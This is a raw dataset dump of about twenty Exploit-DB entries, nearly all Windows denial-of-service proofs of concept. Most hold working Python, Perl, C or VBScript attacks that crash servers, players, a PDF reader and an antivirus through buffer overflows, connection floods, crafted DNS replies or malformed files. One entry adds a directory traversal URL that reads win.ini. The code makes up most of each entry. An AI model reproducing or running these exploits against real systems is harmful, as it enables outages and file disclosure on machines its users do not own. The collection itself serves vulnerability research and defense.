deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17266
Description: serva32 1.2.00 rc1 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-05-10
Author: AutoSec Tools

Exploit:
# ------------------------------------------------------------------------
# Software................Serva32 1.2.00 RC1
# Vulnerability...........Denial Of Service
# Threat Level............Serious (3/5)
# Download................http://www.vercot.com/~serva/
# Discovery Date..........5/7/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A denial of service vulnerability can be exploited to crash Serva32
# 1.2.00 RC1.
# 
# 
# --PoC--

import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('GET ' + '/' * 4096 + ' HTTP/1.1\r\n'
       'Host: localhost\r\n\r\n')


------------------------------------------------------------------------
Software................Serva32 1.2.00 RC1
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.vercot.com/~serva/
Discovery Date..........5/7/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A directory traversal vulnerability in Serva32 1.2.00 RC1 can be
exploited to read files outside of the web root.


--PoC--

http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows/win.ini
Exploit-DB #34502
Description: Serveez 0.1.7 - 'If-Modified-Since' Header Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2009-08-09
Author: lvac lvac

Exploit:
source: https://www.securityfocus.com/bid/42560/info

Serveez is prone to a remote stack-based buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Serveez 0.1.7 is vulnerable; other versions may also be affected. 

#!/usr/bin/env python
#
#    (,_    ,_,    _,)    SERVEEZ (HTTP SERVER) <= 0.1.7    (,_    ,_,    _,)
#    /|\`-._( )_.-'/|\      REMOTE BUFFER OVERFLOW POC      /|\`-._( )_.-'/|\
#   / | \`'-/ \-'`/ | \   AUTHOR:  LORD VENOM ANTICHRIST   / | \`'-/ \-'`/ | \
#  /  |_.'-.\ /.-'._|  \     <lvaclvaclvac@gmail.com>     /  |_.'-.\ /.-'._|  \
# /_.-'      "      `-._\ GRETZ TO ALL HEAVY METAL MUSIC /_.-'      "      `-._\
#

import sys, socket

try:
  host = sys.argv[1]
  port = int(sys.argv[2]) # OFTEN 42422
  path = sys.argv[3] # MUST EXIST
except:
  print "LAMER"
  exit(1)

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  soc.connect((host, port))
  req = "GET " + path + " HTTP/1.0\r\nIf-Modified-Since: " + ("A" * 50) + "\r\n\r\n"
  # WE RULE OVER EIP! (EVIL INCARNATE PENTAGRAM)
  soc.send(req)
  print "DONE"
  satan = 666
except:
  print "CAN'T CONNECT"
  exit(2)

exit(0)

#                ,
#               (@|
#  ,,           ,)|_____________________________________
# //\\8@8@8@8@8@8 / _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ \ OBEY THE MERCYLESS SWORD
# \\//8@8@8@8@8@8 \_____________________________________/  OF SATANIC METAL POWER
#  ``           `)|
#               (@|
#                `
Exploit-DB #20016
Description: Shadow Op Software Dragon Server 1.0/2.0 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2000-06-16
Author: Prizm

Exploit:
source: https://www.securityfocus.com/bid/1352/info

Two denial of service vulnerabilities exist in the Dragon Server package, versions 1.00 and 2.00, from Shadow Ops Software. By supplying large arguments to two different network services, it is possible to cause these services to be innaccessible.

By sending a USER command to the ftp server, and placing a buffer of approximately 16,500 characters as the argument to the command, it is possible to crash the ftp service.

By sending a buffer of approximately 16,500 characters to the telnet server in place of a user name, it is also possible to crash this service.

These both appear to be due to insufficient bounds checking. 

#!/usr/bin/python                                                     
#                                                                     
# Dragon Server(ftp) DoS Proof of Concept Code.                       
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)      
# Simple Script by Prizm(Prizm@Resentment.org)                        
#                                                                     
# By connecting to port 21(ftp) on a system running Dragon FTP Server 
v1.00/2.00 and typing                                                 
# USER (16500 bytes) the service will crash                           
#                                                                     
# This *simple* little script will cause Dragon Server's ftp service  
to crash.                                                             
                                                                      
from ftplib import FTP                                                
                                                                      
ftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with ip                    
ftp.login('A' * 16500)                                                
ftp.quit()
Exploit-DB #47859
Description: ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/networksleuth_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install ShareAlarmPro
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.ShareAlarmPro Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #38771
Description: ShareKM - Remote Denial of Service
Type: dos
Platform: windows
Date: 2013-09-22
Author: Yuda Prawira

Exploit:
source: https://www.securityfocus.com/bid/62586/info

ShareKM is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause the server to crash or disconnect, denying service to legitimate users.

ShareKM 1.0.19 is vulnerable; prior versions may also be affected. 

#!/usr/bin/python
import socket
 
TCP_IP = '192.168.1.100'
TCP_PORT = 55554
BUFFER_SIZE = 1024
MESSAGE = "\x41" * 50000
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
s.close()
Exploit-DB #23665
Description: Shaun2k2 Palmhttpd Server 3.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-02-09
Author: shaun2k2

Exploit:
// source: https://www.securityfocus.com/bid/9608/info

It has been reported that Palmhttpd server may be prone to remote denial of service vulnerability, when an attacker attempts to establish multiple connections with the software. This issue occurs because PalmOS can only handle one client connection.

Shaun2k2 Palmhttpd version 3.0 and prior may be prone to this issue. Since the application is an extension of 'httpd for PalmOS' server by Jim Rees, it is assumed that 'httpd for PalmOS' is vulnerable as well, however, this product has been discontinued.

---palmslam.c
/* PalmOS httpd accept queue overflow PoC exploit.
 * Compile: gcc palmslam.c -o palmslam
 *
 * -shaun2k2
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define MAX_CON 1025
int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("Usage: palmslam <host>
<port>\n");
                exit(-1);
        }

        int sock[MAX_CON];
        int i;
        struct sockaddr_in dest[MAX_CON];
        struct hostent *host;
        if((host = gethostbyname(argv[1])) == -1) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        for(i = 0; i <= MAX_CON; i++) {
                if((sock[i] = socket(AF_INET,
SOCK_STREAM, 0)) == -1) {
                        printf("Couldn't create
socket!\n");
                        exit(-1);
                }

                dest[i].sin_family = AF_INET;
                dest[i].sin_port =
htons(atoi(argv[2]));
                dest[i].sin_addr = *((struct in_addr
*)host->h_addr);

                if(connect(sock[i], (struct sockaddr
*)&dest[i], sizeof(struct sockaddr)) == -1) {
                        printf("Couldn't connect to %s
on port %s!\n", argv[1], argv[2]);
                        exit(-1);
                }

                printf("%d : Connected!\n", i);
        }
        return(0);
}
Exploit-DB #26776
Description: Sights 'N Sounds Streaming Media Server 2.0.3 - 'SWS.exe' Buffer Overflow
Type: dos
Platform: windows
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15809/info

Sights 'n Sounds Streaming Media Server is prone to a buffer overflow vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation will likely result in a crash of the 'SWS.exe' application, denying service to legitimate users. Arbitrary code execution may also be possible, this may facilitate privilege escalation to SYSTEM level.

Sights 'n Sounds Streaming Media Server version 2.0.3.b is affected. 

http://www.example.com/MediaServerListing.exe?[long_string]
Exploit-DB #6815
Description: SilverSHielD 1.0.2.34 - Denial of Service
Type: dos
Platform: windows
Date: 2008-10-23
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# SilverSHielD 1.0.2.34 DoS
use Net::SSH2;

$host     = "192.168.0.111";
$port     = 22;
$username = "test";
$[CREDENTIAL_REDACTED]";
$dos      = "<<<<<<<<<<>>>>>>>>>>";

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->opendir($dos);
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-23]
Exploit-DB #6059
Description: Simple DNS Plus 5.0/4.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-07-13
Author: Exodus

Exploit:
#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il
 
use IO::Socket;
 
if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server");
 
 
 
$address = $ARGV[0];
 
$trans = pack("H4","1337");
$flags = pack("B16","[PII_REDACTED]");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN
 
@parts = split(/\./,$address);
foreach $part (@parts)
{
 $packedlen = pack("H2",sprintf("%02x",length($part)));
 $address2 .= $packedlen.$part;
}
$query = $address2. "\000" . $type . $class;
 
$aname = pack("H4","c00c");
$atype = pack("H4","0001");
$aclass = pack("H4","0001");
$ttl = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;
 
$payload = $trans . $flags . $question . $answerRR
. $authorityRR . $additionlRR . $query . $answer;
 
print "sending $ARGV[2] packetsâ€¦ ";
for($i=0;$i<=$ARGV[2];$i++)
{
 print $sock $payload;
}
print "Done. Good bye.";
__END__ 

# milw0rm.com [2008-07-13]
Exploit-DB #4717
Description: Simple HTTPd 1.41 - '/aux' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-12-11
Author: shinnai

Exploit:
#usage: poc.py host port

import socket
import sys

print "-----------------------------------------------------------------------"
print "Simple HTTPD 1.3 /aux Denial of Service\n"
print "url: http://shttpd.sourceforge.net\n"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "-----------------------------------------------------------------------"

host = sys.argv[1]
port = long(sys.argv[2])

try:
   request =  "GET /aux HTTP/1.1\n\n"
   connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connection.connect((host, port))
   connection.send(request)
except:
   print "Unable to connect. exiting."

# milw0rm.com [2007-12-11]
Exploit-DB #17658
Description: Simple HTTPd 1.42 - Denial of Servive
Type: dos
Platform: windows
Date: 2011-08-12
Author: G13

Exploit:
#!/usr/bin/python
# Exploit Title: Simple HTTPd 1.42 PoC DoS
# Date: 8/10/2011
# Author: G13
# Software Link: 
http://sourceforge.net/projects/shttpd/files/shttpd/1.42/shttpd-1.42.tar.gz/download
# Version: 1.42
# Tested on: WinXP SP1
# CVE : 2011-2900
#
# Since Mongoose HTTPd and Simple HTTPd share similar code, the exploit 
still works.
# Simple HTTPd is still affected by the bug. The executable must be 
compiled with -DNO_AUTH and -D_DEBUG enabled. I compiled
# under MinGW.

import socket, sys


buf = "A" * 6000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))

s.send("PUT /" + buf + "/ HTTP/1.0\r\n")
s.send("\r\n")
print s.recv(1024)
s.close()
Exploit-DB #10842
Description: SimplePlayer 0.2 - '.wav' Overflow Denial of Service
Type: dos
Platform: windows
Date: 2009-12-31
Author: mr_me

Exploit:
#!/usr/bin/python
#
# Title: SimplePlayer v0.2 0day (.wav) overflow DOS Exploit
# Found by: mr_me (seeleymagic [at] hotmail [dot] com)
# Greetz to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT
# Tested on: Windows XP SP3
# Happy New Year!
#
# POC:

crash = ("x41" * 36000);     # overwrite the buffer at 262 bytes 
try: 
     file = open('mr_me_dos.wav','w'); 
     file.write(crash); 
     file.close();
     print "[+] Created mr_me_dos.wav file" 
except: 
     print "[-] Error cant write file to systemn";
Exploit-DB #20771
Description: Simpleserver WWW 1.0.x - AUX Directory Denial of Service
Type: dos
Platform: windows
Date: 2001-04-17
Author: nemesystm

Exploit:
source: https://www.securityfocus.com/bid/2608/info

Simpleserver:WWW is a freely available web server from AnalogX. Simpleserver:WWW is designed to provide an easy to use web server with a friendly interface.

A problem with the web server could lead to a Denial of Service to legitimate users. By connecting to the web server, and requesting an HTTP GET of the /aux directory, the web server ceases operation. A watchdog process or manual restart of the web server process is required.

Therefore, it is possible for remote users to deny service to legitimate users of the web server. 

telnet vulnerable.web.server 80
GET /aux
then hit return twice
Exploit-DB #1708
Description: Skulltag 0.96f - Version String Remote Format String (PoC)
Type: dos
Platform: windows
Date: 2006-04-23
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Skulltag
              http://www.skulltag.com
Versions:     <= 0.96f
Platforms:    Windows
Bug:          format string
Exploitation: remote, versus server
Date:         23 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    http://aluigi.altervista.org


#######################################################################

Backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1708.zip (04232006-skulltagfs.zip)

# milw0rm.com [2006-04-23]
Exploit-DB #4801
Description: SkyFex Client 1.0 - ActiveX 'Start()' Method Remote Stack Overflow
Type: dos
Platform: windows
Date: 2007-12-28
Author: shinnai

Exploit:
<pre>
<code><span style="font: 8pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>SkyFex Client 1.0 "Start()" Method Remote Stack Overflow</b>
 url: https://skyfex.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b>Technical details:
 File: SkyFexClient.ocx
 Ver.: 1.0.2.77
 Codebase: https://skyfex.com//download/SkyFexClient.cab#Version=1,0,2,77
 Marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>

 <b>Registers dump:</b>
 EAX 007B5A8C
 ECX 0164224C
 EDX 033E0024 UNICODE "DDDD..."
 EBX 00000000
 ESP 01735244 ASCII "EEE"
 EBP 0173F414 ASCII "$A"
 ESI 008A8A8C
 EDI 033E0024 UNICODE "DDDD..."
 EIP 02A995E5 SkyFexCl.02A995E5

 <b>Stack dump:</b>
 01735244   00454545  IEXPLORE.00454545
 01735248   02A60045  RETURN to SkyFexCl.02A60045 from SkyFexCl.02A995C0
 0173524C   43434343  urlmon.43434343
 01735250   43434343  urlmon.43434343
 01735254   43434343  urlmon.43434343
 01735258   43434343  urlmon.43434343
 0173525C   43434343  urlmon.43434343
 ...

 'Sub start (
 '     ByVal id_client  As String , 
 '     ByVal ip_server  As String , 
 ' 	ByVal text_ser  As String , 
 ' 	ByVal url_page  As String , 
 ' 	ByVal bDebug  As Integer 
 ' )
 
 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:F84E0B64-1E86-4640-8094-5B38CEB28C1E' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   id_client = String(16676, "A")
   ip_server = String(2000, "B")
   text_ser = String(2000, "C")
   url_page = String(4539717, "D")
   bDebug = 484
       
   test.start id_client, ip_server, text_ser, url_page, bDebug
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-12-28]
Exploit-DB #19391
Description: Slimpdf Reader 1.0 - Memory Corruption
Type: dos
Platform: windows
Date: 2012-06-25
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220


payload ="A"*10000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()
Exploit-DB #31563
Description: SLmail Pro 6.3.1.0 - Multiple Remote Denial of Service / Memory Corruption Vulnerabilities
Type: dos
Platform: windows
Date: 2008-03-31
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28505/info

SLMail Pro is prone to multiple remote denial-of-service vulnerabilities and memory-corruption vulnerabilities.

Attackers can exploit these issues to crash the application, resulting in denial-of-service conditions. Given the nature of some of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

SLMail Pro 6.3.1.0 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31563.zip
Exploit-DB #22653
Description: Smadav Anti Virus 9.1 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-12
Author: Mada R Perdhana

Exploit:
# Exploit Title: Smadav AntiVirus - Crash PoC
# Date: 10/Nov/2012
# Exploit Author: Mada R Perdhana (mada@spentera.com) / Spentera Research
Team
# Vendor Homepage: http://www.smadav.net & http://www.smadav.web.id
# Software Link: http://www.smadav.net/download
# Version: 9.1 (Lastest Version, should be affected previous version)
# Tested on: Windows XP SP 2


The product will be crash when scanning a malicious .dll generate using
this script

----python--
file = open("crash.dll","wb")
file.write("\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x41\x41\x41\x41\x41\x41\x41\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x8c\x9c\x76\x90\xc8\xfd\x18\xc3\xc8\xfd\x18\xc3\xc8\xfd\x18\xc3\x4b\xf5\x45\xc3\xcb\xfd\x18\xc3\xc8\xfd\x19\xc3\x53\xfd\x18\xc3\x46\xea\x78\xc3\xdf\xfd\x18\xc3\x46\xea\x17\xc3\x85\xfd\x18\xc3\x46\xea\x47\xc3\xc7\xff\x18\xc3\x46\xea\x44\xc3\xc9\xfd\x18\xc3\x46\xea\x46\xc3\xc9\xfd\x18\xc3\x46\xea\x42\xc3\xc9\xfd\x18\xc3\x52\x69\x63\x68\xc8\xfd\x18\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")
file.close()
-------

The trick is by adding 49 bytes of malicious byte (represent with \x41)
into the .dll file, right after the PE (\x50\x45) header on the 244th byte
of the file.
Exploit-DB #20403
Description: Small HTTP Server 2.0 1 - Non-Existent File Denial of Service
Type: dos
Platform: windows
Date: 2000-11-14
Author: 403-security team

Exploit:
source : https://www.securityfocus.com/bid/1941/info


Small HTTP Server is a full service web server. This utility is less than 30Kb and requires minimal system resources.

Small HTTP Server is subject to a denial of service. When making an http request without a filename specified the server will attempt to locate index.html in that particular directory, if index.html does not exist the server will utilize a large amount of system memory . If numerous http requests, again structured without a filename, are sent to the web server, an attacker could cause the server to consume all system memory. A restart of the application is required in order to gain normal functionality.

http://target/subdirectory/